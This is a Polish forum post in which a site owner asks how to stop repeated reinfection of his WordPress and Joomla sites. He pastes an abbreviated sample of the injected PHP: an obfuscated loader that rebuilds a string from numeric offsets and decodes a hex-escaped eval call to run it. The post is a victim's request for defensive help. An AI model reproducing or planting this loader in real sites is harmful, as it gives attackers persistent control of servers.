Zabezpieczenie, Ciągłe ataki na strony Opcje

[alarec]

Witam,

Potrzebuje pomocy, bo już nie wiem co robić
Na serwerze mam kilka stron opartych o CMS'y wordpress i joomla.

Zaczęło się od ataków na wordpress'a $zend_framework, ale stworzyłem sobie skrypcik, który automatycznie usuwał linijkę za to odpowedzialną.
Potem zaczęło się jeszcze gorzej, bo w pierwszej linijce pojawiały się losowe nazwy zmiennych, co znacznie utrudnia odszukiwanie takich lijek przez mój skrypt.
Byly 2 z zend_framework, oraz 2 ataki z losowymi zmiennymi.
Ostatnio gniazdo zostało wytępione, wszystkie pliki wyleczone, zmienone hasla do baz danych, do kont FTP, do CMS'ów, do serwera. Był spokój na 2 tygodnie - dzisiaj znowu wszystkie CMSy zostały zaatakowane.

Nie mam pojęcia jak się zabezpieczać przed takim atakiem... pomóżcie koledzy

Poniżej skrócony kod, który jest wklejany:

[PHP] pobierz, plaintext 
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354,53,2110,48,8488,27,7769,63,8237,51,6725,59,6628,32,5908,44,9709,56,7832,41,86
70,48,1755,44,3595,20,1799,27,2183,41,3186,63,9591,51,454,43,266,48,7676,62,6182,
51,1498,24,8370,28,430,24,2704,69,4777,44,7738,31,7441,23,5716,67,7002,60,2384,56
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128,66,1088,40,3545,50,3365,37,5194,64,1858,68,9531,60,8288,23,3615,41,838,39,152
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60,7217,59,4619,39,7062,47,937,51,8970,47,209,57,1331,55,2876,67,5258,52,790,48,1
601,41,1214,65,109,30,8007,70,7276,68,8741,57,2663,41,6594,34,530,53,3452,60,314,
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6127,55,4392,20,5407,66,5626,58,4013,58,1433,65,3138,48,9137,40,6871,65,55,54,100
67,39,1028,60,9081,56,9474,57,7464,64,6256,64,7528,47,8609,28'); $fepgzvwjbr=substr($qcvqglgvmw,(43726-33620),(27-20)); if (!function_exists('bbetuzolvq')) { function bbetuzolvq($yvcqviliej, $ikvxdzewqn) { $zczkvuywek = NULL; for($wulbucfysh=0;$wulbucfysh<(sizeof($yvcqviliej)/2);$wulbucfysh++) { $zczkvuywek .= substr($ikvxdzewqn, $yvcqviliej[($wulbucfysh*2)],$yvcqviliej[($wulbucfysh*2)+1]); } return $zczkvuywek; };} $bfdlbnqmmq="\x20\57\x2a\40\x68\142\x7a\156\x61\163\x6c\145\x6f\164\x20\52\x2f\40\x65\16
6\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\
x32\60\x31\55\x31\66\x34\51\x29\54\x20\143\x68\162\x28\50\x33\65\x39\55\x32\66\x3
7\51\x29\54\x20\142\x62\145\x74\165\x7a\157\x6c\166\x71\50\x24\141\x63\152\x61\15
6\x6b\153\x62\163\x79\54\x24\161\x63\166\x71\147\x6c\147\x76\155\x77\51\x29\51\x3
b\40\x2f\52\x20\165\x72\157\x71\166\x74\156\x66\145\x66\40\x2a\57\x20"; $fqucnrhpxk=substr($qcvqglgvmw,(66061-55948),(69-57)); $fqucnrhpxk($fepgzvwjbr, $bfdlbnqmmq, NULL); $fqucnrhpxk=$bfdlbnqmmq; $fqucnrhpxk=(779-658); $qcvqglgvmw=$fqucnrhpxk-1;
[PHP] pobierz, plaintext